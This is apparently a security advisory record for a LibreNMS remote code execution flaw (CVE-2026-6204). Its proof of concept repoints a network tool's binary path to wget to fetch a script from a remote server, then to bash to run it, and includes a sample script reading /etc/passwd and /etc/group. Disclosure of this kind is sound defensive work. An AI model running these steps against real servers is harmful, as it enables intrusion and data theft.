{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.48"
            },
            {
              "fixed": "26.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-6204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:04:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.\n\n### Details\nThe application allows administrative users to configure the absolute binary paths for network diagnostic tools at `/settings/external/binaries`. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the `GET /ajax/netcmd` endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.\n\n### PoC\nTo reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file `malicious.sh` containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.\n\n```bash\n#!/usr/bin/env bash\n\ncat /etc/passwd\ncat /etc/group\nwhoami\npwd\nls\n```\n\n1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.\n\u003cimg width=\"593\" height=\"481\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ef235f8e-089b-462c-b12c-7b5ae2037fc5\" /\u003e\n\n2. Make sure the malicious script `malicious.sh` can be downloaded. \n\u003cimg width=\"516\" height=\"100\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60b04755-e824-4384-81f2-2feacdc8e273\" /\u003e\n\n3. Login with an admin account and navigate to Global Settings -\u003e External -\u003e Binary Locations\n\u003cimg width=\"797\" height=\"201\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f914cc9e-f45b-444f-8f16-058101d84576\" /\u003e\n\n4. Change the whois binary path to the path of wget (e.g. /usr/bin/wget).\n\u003cimg width=\"478\" height=\"58\" alt=\"image\" src=\"https://github.com/user-attachments/assets/57fbf033-ff07-41dc-9bac-2f3b3e897ea6\" /\u003e\n\n5. Send the request `GET /ajax/netcmd?cmd=whois\u0026query={remote http server\u0027s ip address}/malicious.sh`. The response should contain wget\u0027s output, and malicious.sh would be downloaded by the server.\n\u003cimg width=\"900\" height=\"209\" alt=\"image\" src=\"https://github.com/user-attachments/assets/942b6082-18db-4838-b06c-b98d7fa1f8d0\" /\u003e\n\n6. After that, change the whois binary path to the path of bash (e.g. /bin/bash). \n\u003cimg width=\"751\" height=\"56\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0c11d86e-0dab-4780-bdb7-f328bbb758f8\" /\u003e\n\n7. Send the request GET /ajax/netcmd?cmd=whois\u0026query=malicious.sh to execute the script. \n\u003cimg width=\"846\" height=\"688\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d4dcf8e9-5a75-407c-8dd4-96d11f090dbe\" /\u003e\n\n### Impact\nThis vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.\n\n### Remediation Advice\nLoading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the `ip_or_hostname` bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.\n\n### Prerequisite\nThe attacker must have a valid Administrator account to exploit this vulnerability.",
  "id": "GHSA-pr3g-phhr-h8fh",
  "modified": "2026-04-14T22:52:48Z",
  "published": "2026-03-26T18:04:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6204"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169"
    },
    {
      "type": "WEB",
      "url": "https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-poc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write"
}